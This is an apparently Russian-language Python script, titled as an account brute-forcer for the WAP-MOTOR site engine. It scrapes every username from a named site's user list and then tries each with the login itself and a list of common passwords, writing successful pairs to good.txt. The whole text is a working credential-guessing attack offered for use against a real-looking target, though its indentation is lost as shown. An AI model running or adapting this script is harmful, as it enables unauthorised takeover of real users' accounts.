Брутер аккаунтов движка WAP-MOTOR

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from twill.commands import go, fv, submit, code, show, find
import re, time, os.path
site = 'http://xwen.ru/'
go (site+'pages/userlist.php')
code("200")
html = show()
userlist = re.findall(r'pages\/anketa\.php\?uz=(.*?)&amp', html)
pages = re.findall(r'start=(.*?)&amp', html)
maxPage = (int(max(pages))+10)/10
countPages =(int(pages[maxPage])+10)/10
i=1
while i<countPages:
ii = str(i*10)
go (site+'pages/userlist.php?start='+ii)
html = show()
print u"Go to next page"
userl = re.findall(r'pages\/anketa\.php\?uz=(.*?)&amp', html)
userlist = userlist + userl
i = i+1
print userlist
def brooter():
for login in userlist:
passwords = [login, "1111", "1234", "123123", "123456", "111111", "11111", "password", "qwerty", "asdfg", "123qwe"]
for passw in passwords:
print u"Try "+login+":"+passw
go(site+'input.php?login='+login+'&pass='+passw)
menuHTML = show()
myMenu = re.findall(r'action=menu', menuHTML)
if myMenu != []:
validFile = open('good.txt', 'a+')
validFile.write(login+":"+passw+"\r\n")
validFile.close ()
print u"good"
else:
invalidFile = open('bad.txt', 'a+')
invalidFile.write(login+":"+passw+"\r\n")
invalidFile.close ()
print u"bad"
brooter()